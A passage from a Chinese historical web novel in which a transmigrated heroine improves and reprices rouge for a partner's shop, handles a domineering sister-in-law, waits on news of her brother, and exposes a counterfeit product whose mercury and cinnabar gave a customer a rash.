结果试营业当天傻眼了,来看热闹的妇人不少,真正下定的两只手数得过来。 “不可能!我进的都是最时兴的脂粉,”关长宏站在柜台前扒拉算盘,一算天塌了,第一天打八折才卖了三两银子,还不够成本。 程诺走进胭脂铺,一句话指出问题所在。 第一百八十七章 改良成功 “京中多贵女,千金难买心头好,买东西不看价格只看品质。清河镇的女子不同,尤其是住在榴花巷附近的,大多是温饱线上,富裕不足,能拿出闲钱添置妆奁的潜在客户肯定是有的,但能买得起你店里贵价脂粉的,少之又少。” 程诺拿起一盒莲瓣装饰的胭脂盒,盒盖镂空缠枝纹,内衬丝绢防漏,又拿起右手边珐琅彩的小圆盒,上头有仕女图,其他并排放着的几个,同样不是花鸟就是萌态可掬的走兽,精美非常。 不缺钱的贵女才追求好看的装饰,大多数手头不宽裕的女子,更多的还是在乎品质。 关长宏叹息道:“我知道镇上的百姓没钱,所以在选品时,已经将价格昂贵的剔除了,利润方面也做了削减。” 他指着程诺手中花瓣形状的胭脂盒道:“你手中这瓶‘千日红’京都卖三钱,我店里只卖二钱,今日又折上折,才卖出去三瓶,换做在京都,早一抢而空了。” 程诺笑着摇头:“我刚才在门口站了好一会儿,光这瓶‘千日红’至少被四五十个姑娘捧在手里细细爱抚过,她们眼里的喜爱做不了假,东西是好的,价格不行。” “我应该定价多少?” 程诺:“今日卖得最好的一款,价格多少?” 关长宏脱口而出:“半钱。” “那就卖半钱!” 关长宏瞪大眼睛,声音像是被踩了脖子的鹅,“不行不行,半钱成本都收不回来,你瞧瞧胭脂盖的做工,光这都不止半钱。” 程诺:“那就把盒子换成寻常青釉粗陶盒,无纹饰,盖内垫一层油纸防潮,或者普通桐木盒。” 关长宏瘪嘴:“即便这样,价格定半钱,我也没有盈利空间,胭脂原料价格本就不便宜,我们关家不像别家为了牟利,用低劣染料,成本上去,货物价格自然低不了,我开店是做生意的,不是开庵堂做善事。” 程诺细细嗅闻:“这瓶里面加的什么染料?” 关长宏眯了眯眼:“独家秘方,怎么能告诉你。” 程诺白了他一眼,缓缓道:“红色系腮红口脂,多数用红花、朱砂、玫瑰花瓣、苏木这些草木的颜色渲染,泡在草木灰中提取红色,加入些许醋中和,使颜色更鲜艳,再用蜂蜡或猪油压制成膏状或饼状,我说得对吗?” “你……”关长宏惊讶道,“你怎么知道行业里的秘密?你也卖过胭脂?” 这些步骤在这个时代算得上独家秘方,但在程诺从前生活的年代,信息爆炸,交流迅速,在网上随便一搜索就能找到制作方法。 有段时间掀起国潮风,人们觉得现代化妆品中的科技狠活太多,一度将古时候女子使用的胭脂水粉复制出来使用,称其为纯天然无污染,程诺也凑过热闹,并在其基础上加以改良,让颜色更持久,并剔除了其中的有害成分。 她有技术,关长宏有场地,若他俩相互合作,财神爷岂不是在向二人招手? “我有一笔好买卖,想不想听?”程诺眉眼带笑,像是个引人上钩的小狐狸。 关长宏在对方招手示意中,缓缓靠近送上耳朵。 越听眼睛瞪着越大,眼神中逐渐浮现诧异之色,“果真?耳听为虚,眼见为实,我要看到成品。” 程诺:“没问题,三日后给你。” 回家时正值正午,赵氏准备了午膳,见程诺回来,道:“关公子的新店生意如何?” 程诺将两人即将达成合作的事情说了,赵氏听完大喜,忙揽下帮她找胭脂原料的活儿。 顾寒栀心疼道:“你又要研制新菜品,又要帮关公子制作胭脂,会不会太累了?” 武春来关心的点,跟大伙不一样:“那是不是意味着,以后我们都不用买胭脂水粉了,直接让小姑给我们现做不就成了。” 赵氏白了她一眼,程诺笑笑不说话,顾寒栀一向跟他话不投投机半句多。 见大伙儿都不理她,武春来觉得没趣,又跑去孙婶子和绿草面前找存在感。 她见院里有落叶,叉着腰吩咐道:“没点眼力见,没瞧见地上脏了啊,拿扫把过来扫啊!” 绿草立刻要去厨房拿簸箕,被孙婶子拦下:“春来,我们是来你家当帮工的,不是来打扫浣衣,这不是我们分内的事。” 武春来被呛,这段时间被程家人冷落的怨气,此刻突然点着,指着孙婶子鼻子骂起来:“你不过是我家雇来的,说难听点,就是个下人,主子让你干活,你敢嘴硬?我家给你们一个月五钱银子,指使你干点活都不成?好大的架子啊,能干干,不能干,给我滚!” 一向脾气好的绿草也听不下去:“春来,我跟孙婶子是和四娘签的契,我们从来不是谁的下人,堂堂正正凭本事赚钱,怎么到了你嘴里成了施舍?” 孙婶子拉着绿草就走:“跟她废什么话,”路过武春来时,啐了一口,“把自己当根葱,谁拿你蘸酱!” 家里孩子都在场看着,武春来气得直跺脚,拉住二人不让走,今天妥协了,日后怎么在家里立威,连两个帮工都敢给她脸色巧,反了天了。 程家生意蒸蒸日上,日后少不得再招人,她作为程家人,生意理应有她一份,不听话的人要了干嘛,炒了,全炒了。 “不给你点颜色瞧瞧,你当我是摆设,”武春来气极反笑,跑到二人居住的屋里,拿起随时包裹直接砸在地上,“收拾东西给我滚。” 孙婶子一愣,涨红了脸。 绿草见辛苦给儿子做的小肚兜、小虎头帽被丢在泥泞不堪的地上,后槽牙咬得发酸。 二人刚想说话,被武春来抢白,“别想拿四娘当挡箭牌,我是她三嫂,你们不过是外人,里外亲疏需要我细说吗?” 看着武春来一脸得意,绿草有些怕了,程四娘是好人,顾惜她们,愿意给她们赚钱养家的机会,可武春来毕竟是亲人,真闹起来,四娘会不会为了她们得罪亲嫂子,二人不敢冒险。 绿草脸色又青又红,踌躇着走上前溅起满是污渍的小衣服,心疼地抱在怀里搓了又搓。 接着角落拿起扫帚,软了语气,“春来,大伙儿一个村子出来的,我家情况你知道,儿子小,需要用银子的地方多,你别赶我们走。” 孙婶子气得鼻孔生烟,她无所谓,大不了收拾东西不干了,也懒得受这份气,她唯一放不下的是程四娘,怕她夹在中间难做。 自古,小姑子和嫂子的关系是继婆媳关系后,最难相处的。 武春来见孙婶子依旧不服气的样子,越发趾高气扬起来,“我房里的恭桶还没倒,劳烦你了,洗刷干净后再给我送过来。” 这下连金玉都看不下去,上前阻拦:“娘,你别太过了,小姑姑知道要生气的。” “我会怕她?”武春来气焰嚣张,“当初家里贴补她多少,如今刚赚点小钱敢爬在我头上?被外头人知道,她名声要不要了?” 武氏越说越不像话,金玉皱了皱眉,自从小姑早餐铺子生意兴隆招了两个伙计后,她娘三天两头作妖,美其名曰“帮小姑子看着”,实则处处摆谱。 家里男人不在,几个妯娌懒得搭理她,孩子们更管不着,程诺忙得不见人影,武氏的威风才没被人发现。 今日恰好赶上程诺在,忙走出去,就见到绿草看向她的眼眶发红。 孙婶子同样一副气呼呼的模样。 程诺笑道:“谁惹三嫂生气了?” 武春来见程诺望向她的眼里没有不喜,猜她定是站在她这边,想来也是,谁会胳膊肘往外拐,向着外人。 “没生气,我不是小心眼的人,”武春来脸上堆出笑,“她们有顶撞我的地方,我大人有大量,不跟她们一般见识,只是……四娘啊,你到底年轻,很多地方考虑不周全,我看那些大酒楼找帮工,少不得再找一位领班,万一帮工里有手脚不干净,干活偷奸耍滑的,也有人治她们。” 程诺点点头:“三嫂说的有道理,我是得再招一位领班。” 武春来立刻来了劲:“何必费那功夫,远在天近在眼前,不就有一人吗?” 程诺惊讶地张大嘴:“啊?” “我呀!”武春来眼里金光大亮,“谁能比自家人更操心自家的生意,你把招人的工钱给我,我帮你看着。” 程诺皮笑肉不笑:“三嫂想得真周到。” 武春来见有戏,眼角的细纹挤得越发密集,像是一条条细小的蚯蚓,配上一脸谄媚的笑,颇有些小人得志的意思。 “这么说,你同意了?” 程诺摇摇头:“三嫂当小小领班屈才了,我另外给三嫂安排了一份工作,待遇比这好得多,三嫂要不要听听。” 一听待遇好,武春来哪有不同意的道理,头点的捣药锤似的。 程诺:“我有意跟关长宏的脂粉铺子合作,届时少不得安排自己的人手在店里,关少爷你是知道的,多金富裕,一间铺子比我们家三间都要大,肯定少不了请人帮忙。” 武春来乐得跟什么似的:“你想让我去胭脂铺子当领班?” 程诺意味深长嗯了一声。 武春来头一次看程诺这么顺眼,笑得合不拢嘴,见听到动静的赵氏和顾氏出来,得意地将程诺刚才的话又重复了一遍,见二人脸色明显不好看了,她更高兴,扭着腰肢回屋。 待人走了,程诺安慰了绿草和孙婶子两句,交代她们日后只用干店里的活儿,其他跟她们无关的活计谁找上门都不需要理会。 绿草和孙婶子用力点点头,也回了屋。 这下院里只剩下程诺和赵顾二人。 赵氏欲言又止。 顾氏依旧淡淡的,对什么都不置可否。 程诺主动开口:“两位嫂嫂是不是想问我为什么要抬举三嫂?” 赵氏咬咬嘴唇,最后还是忍不住开了口:“你的决定我本不该置喙,你一直是最有主意的,但武氏……她什么德行咱们再清楚不过,胭脂铺子交给她,能行吗?” 顾氏难得肯发表意见:“武氏为人自私自利,是个无利不早起的性子,铺子交给她,像今天这样为难手下人的事情肯定还会发生,更有甚者,中饱私囊,监守自盗也不是没可能。” 她话虽难听,却很中肯。 偷懒是小,德行有问题才是关键。 武氏在程家躲懒惯了,大伙儿心知肚明,但因为她一直没犯什么大错,只能睁一只眼闭一只眼。 但心里的火经过两场天灾后,像是燎原般又越烧越旺的架势。 就连从来最袒护她的程母,如今看武氏也是不顺眼的很。 谁会喜欢懒媳妇,尤其是有赵氏这样的勤劳的,顾氏这样美貌的,程诺这样会赚钱的作对比,武氏在程家突兀得很。 换在从前,程诺看在三哥的面上,不想跟她多计较,但出了今天的事,她知道有些人不得些教训是长不乖的。 “你们说的我明白,选武氏是我考量过的,”程诺继续道,“二位嫂嫂就等着看好戏吧。” 一听程诺这么说,顾氏舒展眉眼,猜出大概,赵氏依旧云里雾里。 “什么好戏?” 程诺俏皮地冲她眨眨眼。 —— 很快,赵氏给程诺找来制作胭脂常用的材料。 程诺又去找顾寒栀取经,从前京都贵女爱用的款式和颜色,她应该是清楚的。 果然,虽然有十来年没回京,但当年流行过的颜色,味道,大到材质款式,小到脂粉纹理用料,顾寒栀记忆犹新。 等程诺将制作好的胭脂递到顾寒栀面前时,她嗅了嗅味道,眼睛倏地一亮,唇角不自觉上扬,连呼吸都轻了几分。 许久没用过胭脂的顾寒栀,竟然起了试用的欲望。 “我来给你涂上。”程诺拿出自制的粉扑,轻轻拍打在顾寒栀脸颊两侧。 有了气色,更衬托出顾寒栀不俗的颜色。 关长宏收到程诺研制的胭脂水粉,惊讶的神色不比顾寒栀少,当即同意拉程诺入伙,二人合作,一个出钱一个出力,赚了钱分账。 第一百八十八章 认清内心 程诺技术入股,关长宏没有亏待她,给出的报酬相当可观。 全家得知这一消息,属武春来最高兴。 一听胭脂铺子招了五六个帮工,日后她就是几个人的领班,大小是个官,美滋滋逢人炫耀。 程母为女儿高兴的同时,不由得担心出门在外,许久没音讯的二儿子。 说是出去公办五六天,这一走已经两个五六天,刚开始还能有家书传来,最近一段时间彻底没了消息,程母每天站在巷口张望,试图看到儿子回来的身影。 顾寒栀起初没什么反应,等日子往后移,半个月过去,仍旧不见踪迹时,再娴静沉稳的性子也撑不住,算账频频出错,做事总是走神,终于吸引了程诺的注意。 “二嫂,是不是担心我二哥?” 顾寒栀抿着嘴,道:“与君与华每日缠着我,问他怎么还不回来。” 程诺:“只有他们担心,二嫂你就不担心吗?” 顾寒栀加快手上搅拌包子馅料的动作,试图将注意力放在其他地方,以平复慌乱的心情:“他说了,是一帮流民组成的散队,官府会给他们配备武器,双方实力悬殊,想来出不了什么岔子。” 程诺抬手阻止她第三次往馅料里加盐的动作:“再加盐,这盆包子馅就不能用了。” 顾寒栀撒盐的手指一顿,这才意识到自己心神乱了,偏不肯承认,嘴硬说着天热晚上没睡好。 程诺不经意道:“二哥出门前跟我说了,他这次去根本不是处理什么流民,而是去剿匪,是真正穷凶极恶杀人不眨眼的悍匪,怕你们担心,没说实话罢了。现在看来他的担心是对的,娘望眼欲穿,你心思不宁,家里孩子都蔫蔫的……” “什么?!” 顾寒栀的惊呼声在程诺耳畔响起,“剿匪?他……” 什么淡定,什么从容,这一刻女子再不复先前的伪装,脸上的担忧几乎要溢出来。 程诺要的就是这个效果,程二顺跟顾寒栀多年来心结难解,二人相敬如宾,准确说是程二顺热脸贴冷屁股,冒着生命危险在外挣功绩,还舍不得让媳妇担心,傻不傻。 她就是要让顾寒栀明白自己的心思,她心里是有顾二顺的,不单单是感激,也有男女之间的感情。 会为一个人担忧,会惦记一个人的安危,难道不是最好的证明? “二嫂,你既然这么担心我二哥,为什么见到他的时候那么冷淡,我哥会伤心的。” 顾寒栀红了眼,咬着下唇泫泫欲泣:“我、我不知道该怎么跟他相处。那年流放途中亲哥为了活下去,拿我作靶引来追兵,是他救了我一命,嫁给他我没得选,也不能选。年少时待字闺中,长辈为我说亲,多少京中贵胄王孙公子登门,我都没瞧得上,哪曾想一朝抄家,会嫁给大字不识的乡野莽汉。 说这些或许你会嘲笑我,落魄凤凰不如鸡,我凭什么嫌弃对我有救命之恩的人。你觉得我清高也好,做作也罢,刚开始的几年,我甚至是怨恨他的,我宁愿死在流放路上,也不想浑浑噩噩过一辈子。” 程诺:“那后来呢?因为有了与君与华,你改变心态了?” 金枝玉叶跟泥腿子是不般配的,放在哪个朝代皆是如此。 仅凭救命之恩就心生爱慕以身相许,是只有话本子里才存在的剧情,像顾寒栀这般从小受过教育,熟读诗书礼仪的女子,思想不会如此狭隘。 想让一个心思不在自己身上的女子留下,就得折断她的翅膀。 能让一个女人屈服,心甘情愿留下,除了生孩子,程诺想不到别的。 自古多少女人,是被孩子束缚了手脚,别说是生活在封建时代的顾寒栀,就是程诺从前的世界,诸如此类的案例比比皆是。 顾寒栀摇摇头:“不是。” 这倒有些出乎程诺的意外,不是因为有了孩子?那就是程二顺这个人了? 程诺惊喜道:“所以,你后来是真的觉得我二哥不错,愿意给他机会,是吗?” 顾寒栀垂眸,手指在腰间一个青色荷包上摩挲,荷包上的图案绣得不伦不类,似鸭子又似鸡。 顾寒栀的绣活儿精湛,一看就不是她的手笔,连与华的绣艺都比这强得多。 “他抱怨别的男人身上都有自家媳妇绣的香囊,他却没有,求了几天见我没动静,自己找了布料和绣线,给我绣了一个。”顾寒栀想起当时男人看她时委屈的眼神,心下触动,“他说,我不给他绣没关系,他给我绣一个也一样,到时候我戴着鸳鸯香囊走出家门,让别的小媳妇羡慕去……” 说到这儿,顾寒栀忍不住笑了,“很丑是不是?” 程诺看着不伦不类的鸳鸯,再看顾寒栀眼角蔓延的笑意,明白她二哥终究是用自己的热情,将这块千年寒冰捂化了。 顾寒栀只是不善于表达,以及跨不出心里那道“罪奴”的坎儿,实则心里早已经将程二顺当做终生依靠。 她一直想要的脱籍,不是为了自己,是为了孩子们。 做父母的,既然将孩子带到世上,就得为他们的未来负责。 趁着与君与华没成年,赶紧将顾寒栀的奴籍脱了,两个孩子也能因为没有长大,一起脱籍。 要是等与君成年,与华嫁人,届时要的就不是一次军功,而是三次。 顾寒栀抓住程诺的手:“四娘,我进不去官府,你替我去问问,二顺为什么还没回来。” 程诺点头:“我本来也打算明天去问问,是不是中间出了什么岔子。” 第二日,程诺一早去了衙门。 衙门里好些衙役认识程诺,有的在程家摊位上买过东西,有的之前得到过程二顺的帮忙,对她的态度都很和顺。 听说她是来问程二顺和十七的去向,纠结半晌后,才有人踌躇着将她拉到角落里,左右张望,小声道:“本来不应该告诉你的,上头有命令这回的行动要高度保密,但我们又怕你担心。” 程诺听出话里的意思:“是我哥和十七又接了别的任务?” 对方见她一点就通,眉眼舒展开:“是了,二顺兄弟和十七兄弟剿匪的活儿十天前已经结束了,进展很顺利,虽是以少胜多,但打得漂亮,特别是十七兄弟,拿的人头最多,等他们回来奖赏少不了。 官府见二人英勇,刚好又有一桩差事,离他们所在方位不远,直接派了一队人马去助力,现在想来新目的地已经到了。” 程诺问:“是什么任务,有危险吗?” 男人纠结的脸皱在一起:“什么任务我不能说,危险肯定是有的,不危险二顺兄弟还不愿意去呢,大伙儿都知道,他忙着攒功给媳妇脱籍。只是那位武艺高强的十七兄弟,不知道为什么这么拼命,他也有心上人等着请封诰命?” 男人开玩笑的,最后一句话把自己说笑了。 提到十七,程诺神色微微有些紧张:“我不知道,下回你亲自问问他。” 从衙门出来后,程诺赶忙将消息告知在家等消息的顾寒栀和程母。 一听程二顺暂无危险,几人紧绷的情绪终于得到舒缓。 接下来的日子,程家两个摊子照常营业,名声打出去,生意越来越好。 周边的酒楼都来找程家卤肉合作,试图通过卤肉招揽生意。 早餐铺子的生意同样蒸蒸日上,如今已经有七八样卖得火热的品类,但凡踏进早餐铺子,总能找到一款喜欢吃的早点。 程诺除了负责铺子的推陈出新外,还额外设立了外卖窗口。 专门为那些因为路途远,不想出门的客人的服务。 外卖队伍由龙五带队,他手下的一帮乞丐,最熟悉镇上的路线,洗了澡换上程诺特制的外卖服装,人模人样,再也没有从前的落魄样子。 走在路上,远远的街道上的百姓就知道是程家早餐铺子的外送人员来了。 至于运送方式,主要靠脚力,大批量运送时,也会用到牛车。 想要点外送的顾客,提前一天到程家早餐铺子下定金,满二十文免费配送,不满二十文,加收两文配送费。 程诺特的提前定制了一批独一无二,可以一分为二的锁头,下定时顾客拿一个,拿到外送早餐后,交出另外半个锁头,合并无误后缴剩下的餐食钱。 因为新鲜,加上确实方便,不少镇上不差钱的人家,纷纷下单。 某日一统计,竟发现,店里如今的生意,有三分之一靠外送订单。 龙五带领的外送队伍,靠每单抽取两文利钱,一早上每个人至少能收到四五十文的收益。 这可比从前沿街乞讨,靠人施舍来得有尊严,还更加有满足感。 关长宏见程诺的外送业务办得如火如荼,也想将其引进胭脂铺子,可惜效果并不好。 “你剥夺了姑娘们逛街的乐趣,”程诺冲着困惑不解的关长宏解释道,“购物有时候并不一定为了花钱,更多的是体会挑选的快乐,以及起到解闷的作用。” 关长宏恍然大悟,随即又催促起程诺研制新的产品:“上次你改良后的‘千日红’,不仅在镇上大受欢迎,连京都也是广受好评,我回家跟我娘商量过了,京都的收益也算你一份。” 程诺惊喜不已:“真的?不能反悔啊!” 关家在京都的店铺的生意不小,卖出的价格也贵,突如其来一笔横财,程诺光想想都得笑出声。 关长宏见她一脸财迷的模样,晃着折扇斜睨她:“一点小钱高兴成这样,跟着本少爷混,以后有你赚大钱的机会。” “多谢关少爷。” “你多研究几款‘千日红’,就是对我最大的感谢。” 程诺这几日一直在尝试将药材和胭脂原料结合,有了初步的效果,现在正缺一位精通药理,又对女子水粉熟知的人,一起改良。 她将想法跟关长宏一提,对方觉得是个很好的思路,却一时半会找不到合适人选。 程诺从怀里掏出一封信纸,道:“桂香前几日来信,陶婆婆的眼睛治疗得差不多,如今视物已没多大问题,她正在回来的路上,我想让她跟我一起研究胭脂水粉的新配方。” “小何、小何大夫要回来了?我怎么不知道?”一向能言善道的关长宏突然变成了结巴。 程诺忙着思索配方的改良方法,一时没注意到男人的不对劲:“你又没跟她通信,不知道很正常。” 关长宏话噎在嗓子里,出不了声了,不自然地咳了两下,等程诺走后,脚步匆匆走到书案前,拉开抽屉,里头赫然躺着十几封书信。 书信上“何桂香”三个字的落款清晰。 关长宏打开三日前刚收到的,最新一封书信,仔细阅读上头的文字,最后气呼呼地垂下手:“好啊,回来这么大的事瞒着我。” —— 三日后,程诺在码头接到了何桂香和陶婆婆。 姐妹二人数月未见,彼此十分想念,拉着手说了好一会儿的话。 陶婆婆的精神看起来比上一次见好了不少,一双浑浊的眼有了光亮,不再摩挲着视物,整个人完全没了从前小心翼翼的局促。 “四娘,你比我印象中,出落得更漂亮了。”陶婆婆慈爱地抚着程诺的脸颊,手指在左脸上的疤痕上摩挲片刻。 何桂香此刻察觉到异样,惊喜道:“你脸上的疤痕是不是淡了很多?” 几个月来,程诺一直在用商城的去疤膏,因为脸上疤痕由来已久,且当初伤得很深,商城的药至少也要两三年才能见效。 上回救了金师傅后,对方给了她一瓶膏药,说是对脸上的疤痕有奇效,程诺一开始没报多大希望,用着用着某天一照镜子发现疤痕竟然真的淡了很多。 陈旧疤痕褪去,隐约可见下面长出来的新肉,比周遭一圈的肤色鲜红不少。 程诺停了药,没再用,最近还是有不少人发现她容貌上的变化。 “太久没见,你是不是忘了我之前长什么样了?”程诺道。 何桂香狐疑地挠挠脑袋:“是吗?真的不是疤痕淡了?” “可能是我最近太忙晒黑了,疤痕颜色显得淡了些。”程诺解释起来。 何桂香点点头:“是黑了点,信里说你家开了两家店,都得靠你撑着,干嘛把自己弄得这么累,济世堂那儿不是还有咱们的分红吗?” 程诺笑道:“我不累,家里人帮忙,大多数事情不需要上手,对了,信你我跟你说的事考虑得怎么样?要不要来帮我?” “你有需要,我怎么可能袖手旁观,只是胭脂水粉我从前用得不多,不见得能帮你多少。” 第一百八十九章 上门闹事 有何桂香这句话够了,以她的医术和对草药的熟悉程度,加上程诺的理论实践,迟早能研制出新产品。 程诺:“先回村看看何大夫和你儿子,大梨村和云溪村都被大水淹了,抢修工作进展得差不多,若是不方便,你来我家住,我带你见一见咱们的合作伙伴。” “合作伙伴?”何桂香一愣。 “对啊,你认识的,关大夫的外甥关长宏,之前跟孟南洲那渣男和离时,他还帮了我不少。”程诺怕时间太久,何桂香忘了关长宏这号人,特地多解释了两句。 何桂香尴尬地点点头:“原来是他……” 一路上,程诺将她如何低价购入一间凶宅,榴花巷如何废除里坊制,以及后来开早餐店,跟关长虹打赌做生意的前因后果全讲了。 何桂香不知在想什么,程诺见她总点头却不说话,以为她乘船累了。 倒是陶婆婆问了许多关于关长宏的事,包括对方的长相家势,那模样不知道地以为她是何桂香的亲娘,正帮她寻婆家呢。 小李今日恰好有空,来镇上接绿草回家团聚,顺道赶牛车将何桂香和陶婆婆一起带了回去。 程诺一早给小李带了消息,让他在镇门口等着,没想到几人走到镇门口时,意外撞见关长宏。 关长宏老远见到何桂香和陶婆婆,急不可待走上前,想问一声回来为什么不告诉他,奈何周围人多,实在不好张口,加上何桂香有意无意躲避他的视线,更让关长宏觉得挫败又失落。 “关少爷,你怎么也在这儿?”程诺好奇道,“这个时辰,你不应该在店里吗?” 自从开了胭脂铺,关长宏一改从前的逍遥散漫,正正经经做事,连关大夫都来了好几回,将程诺拉到一旁仔细询问外甥是不是好好做人了。 每日跟着店一起开门营业,跟着店铺一起关门核账,半点没了从前招猫逗狗的纨绔模样。 关长宏收回往某处停留的视线,咳嗽一声掩饰尴尬:“我堂堂东家,店里哪需要我一直看着,那我请的人全是吃白饭的吗?” 程诺困惑地点点头:“你昨日不还说,店里账目对不清,怀疑是请来的人手脚不干净,说要守株待兔?” 这几日店里的账目突然对不上,不是店铺里的物品数量少了,就是钱盒子的银子不翼而飞。 两人怀疑是出了内鬼,这两日都在观察,试图揪出盗贼,关长宏哪来的闲工夫在这儿闲逛。 “咳咳……刚用了些糕点积食了,出来溜达溜达,消消食。”关长宏说着将手里的食盒递了过去,“买多了,吃不完,你拿回去吧。” 榴花巷距离城门口有半个时辰的脚程,他没有乘车出行,为了消食,能走这么远? 程诺接过糕点一瞧,“我不吃杏仁酥,容易过敏,也不爱莲蓉糕。” 说着,想起什么,将盒子递给何桂香:“我记得你很喜欢杏仁酥,阿源喜欢莲蓉味的糕饼,你带回去吧。” 陶婆婆附和道:“确实,这两都是我家桂香爱吃的。” 何桂香揪住衣角的手背一紧,下意识拒绝,“我、我没有……” 程诺看着她脸没来由突然红起来,好奇道,“你换口味了?” “不、不是……” 何桂香只能接过食盒,在无人注意的地方,用力瞪了关长宏一眼。 这一眼,反倒把关长宏心里的阴郁一扫而空,冲程诺道:“瑞福斋的杏仁茶糕也很出名,我下次给你带些尝尝。” 程诺:“……” 不是,她刚才说她对杏仁过敏的话,他是一个字没听见吗? —— 大梨村村民的屋子重新搭建了七七八八,因为人力有限,加上还要去山上开荒,那些临时借调到村里帮忙的百姓也要在大梨村吃住,实在没有多余的位置给何桂香居住。 好在何大夫可以跟其他汉子挤在一处,将位置留给陶婆婆,何桂香跟儿子亲近两日后,动身来找程诺。 程家如今单独辟了间小屋给程诺研究新品,何桂香直接在小屋里住下。 程诺给她介绍胭脂铺如今的主要产品,包括销售最好的“千日红”,已经到了一罐难求的地步。 其他胭脂铺争相模仿,试图找出配置方法复制“落雁阁”的成功,尝试了百十次,却总摸不到门道,难以破解秘方。 因此,市面上虽然多了很多打着“平价千日红”名号的胭脂,却没有一款比得过正版在顾客心目中的地位。 这天两人正为一味草药能不能加进原料中,商议得热火朝天时,赵氏匆匆从外头进来,因为着急,额角留下不少汗珠。 见到程诺,忙道:“胭脂铺子出事了。” 程诺和何桂香赶往胭脂铺子时,店里有人闹事。 一个梳着未出阁发髻的姑娘蒙着面纱,身旁的上了年纪的妇人手里举着店里的胭脂盒,正在跟关长宏对峙。 “我女儿用了你家的胭脂,脸上全是红疹,”妇人有双吊梢眼,看起来就是个凶悍的主,她直接将盒子往桌上一拍,“我女儿下个月成婚,顶着这样一张脸,要是被婆家退婚,你们店能担待吗?” 说着撩起面纱一角给围观的众人瞧,上头红疹遍布大半张脸,密密麻麻看得人心里发毛,好几个路人一脸嫌弃。 那姑娘许是被刺激到,眼泪盈满眼眶,羞愤地遮住脸庞,气恼地望向妇人,又怨恨地死盯着关长宏。 关长宏哪被姑娘这般凝视过,加上她脸上的伤口不像作假,拿出的盒子确实是店里销售出去的,至于里头的东西有没有被动过手脚,他暂且看不出来,只能催促手下:“程姑娘来了没有?我这里快火烧眉毛了?” “已经派人去请了。”正说着,手下看到被人群挤在门外的程诺,像是看到救星一样,抬手摇摆,“来了来了,程姑娘来了。” 程诺刚走近,关长宏立刻将她请到跟前,见何桂香跟着一起来,委屈地皱着眉眼。 何桂香全当没瞧见,径直走到戴面纱姑娘身旁,柔声道:“姑娘,我是大夫,你脸上的伤能不能让我瞧瞧?” 年轻姑娘显然被刚才百姓嫌弃的额眼神伤到了,说话有些冲:“什么意思,我还能作假骗人不成?” “我不是这个意思,”何桂香忙解释,“若是过敏或者中毒,需要及时医治,我看姑娘眉眼这般好看,长相定是不差的,若是留下疤痕岂不是要悔恨一辈子。” 一听会永远顶着这样难看的脸,姑娘眼神慌乱。 何桂香继续:“若是不方便,我带你去里头医治,那里没有人,只有我能看到。” 姑娘终是点头同意,只是她那个娘说什么不肯放女儿单独去,非要跟着一起。 何桂香在里头检查伤口的同时,程诺也在研究胭脂。 她搓了一部分在手心,慢慢研磨,又放在鼻尖轻嗅。 等何桂香检查完出来,冲她点头示意,程诺才将结论说出口:“这胭脂不是我家的。” 妇人一听,以为胭脂铺推卸责任,顿时炸了锅:“不是你家的是谁家的,瞧瞧这盒子,上头还有你家‘落雁阁’的名字!” “盒子确实是我家的,但是里头的膏体粗糙,不管是颜色,还是味道都不对,”程诺说着,将胭脂盒举过头顶,冲人群道,“在场的各位,有没有用过我家‘千日红’的,劳烦站出来,是真是假我说的不算,一试便知。” 千日红火爆,爱美姑娘们几乎人手一罐,但因为数量有限,不少人买到的渠道不一,据说黑市上翻上几倍的价格,也卖得出去。 那些没有在店铺里买的姑娘此时不好意思举手了,谁也不敢确定自己买到的是不是真的。 反倒是在店里购入的女子,骄傲地举起手,“我买过,给我看看。” “我前两日刚买,我也知道,我来瞧瞧。” 很快,胭脂盒子在女子们之间传阅开。 “味道不对,我买的那罐有淡淡的兰花香味,这罐味道浓郁很多,太冲鼻子。” “颜色也不对,千日红看着颜色艳丽,实际接触皮肤后色彩很淡,需要少量多次上色才有层次感,这罐一上来就是坨红,涂在脸上跟猴屁股一样,肯定是假的。” 吊梢眼的妇人慌了:“不可能!我、我可是花了双倍的价格买的,怎么可能是假的。” 程诺道:“落雁阁的千日红自售卖之初只有一个价,从没涨价过,你也说花了双倍价,说明根本不是从我们店里卖出去的。” 妇人气恼急了:“不是你们店里卖的,也是从你们店里流传出去的,谁让你们抠搜,每天只卖几十罐,让那些小人有可乘之机,倒买倒卖抬高价格,哦~我知道了,你们是故意的,店里卖得便宜,实际上是为了能在黑市上高价售卖,赚更多的钱,为了钱你们昧着良心用次品代替,这才让我女儿烂脸了!” 蒙面纱的姑娘哭得越发伤心,抓着何桂香问:“大夫我是不是毁容了?我是不是没救了?” 何桂香安抚道:“不会,只是简单的过敏,看着吓人,过几日红疹退了就好了。” 姑娘听完,松了口气,偏她娘不依不饶,瞪着何桂香:“谁知道你说的是不是真的,我刚看见了,你跟那女的一起来的,你们明显是一伙儿的。” 何桂香面色不佳,本着医者的指责,道:“我是济世堂的坐馆大夫,姓何,婶子若不信,可以去济世堂问问有没有我这号人。” 人群里有原先接过痘种的百姓,喊道:“是小何大夫,我认识,之前在济世堂坐诊,大伙儿接种的痘疹就是她负责的,好些日子没瞧见,我还以为离开济世堂了。” “我也认识,小何大夫是医学世家出身,她爹是周遭几个村落出名的大夫,心地善良,水灾中救了不少人,是活菩萨啊!” 几个高帽子带下来,吊梢眼妇人再想质疑,也不敢了。 戴面纱的姑娘拉扯她娘的衣摆,小声道:“娘,你到底在哪买的胭脂?若不是落雁阁购入的,别在这儿给人家找麻烦了。” “你懂什么,看脸不需要花钱吗?给你添置嫁妆不需要用银子吗?你弟弟来年要议亲,女方家张口二十两银子,都是用钱的地方,关家家大业大,赔偿点银子罢了,只要我们不松口,为了店铺名声,他们只能花钱息事宁人。”妇人咬着牙,低声冲闺女耳语。 可惜她想岔了,换做别的店,或许真会为了名声打发点银子草草了事,但美妆行业不一样。 用在脸上的东西除了问题,不划分清楚责任,日后效仿者全找上门,她们是照单全收,还是置之不理。 最好的办法,是从一开始,将落雁阁从整个事情中摘出来,不该她们承担的责任她们不会承担。 程诺冲在场众人扬声道,“诸位,这款胭脂,制膏者为了颜色持久,放了过量的水银和朱砂,长久使用不仅对美貌无益,还会损伤皮肤。最近一段时间,我们听闻市场上出现不少打着‘千日红’名号的仿制品,不仅价格高昂,用料还低劣,实在令人发指。 今日在此,我特向众人宣布,落雁阁的胭脂水粉已经在加快生产中,大伙儿用不着去外头买贵价的便宜货,至于黑市上售卖的产品,用料不对盒子却真,这一点我们有不可推卸的责任,是内部管理出现疏漏,从今日起,阁内会加快排查进度,趁早找出元凶。” 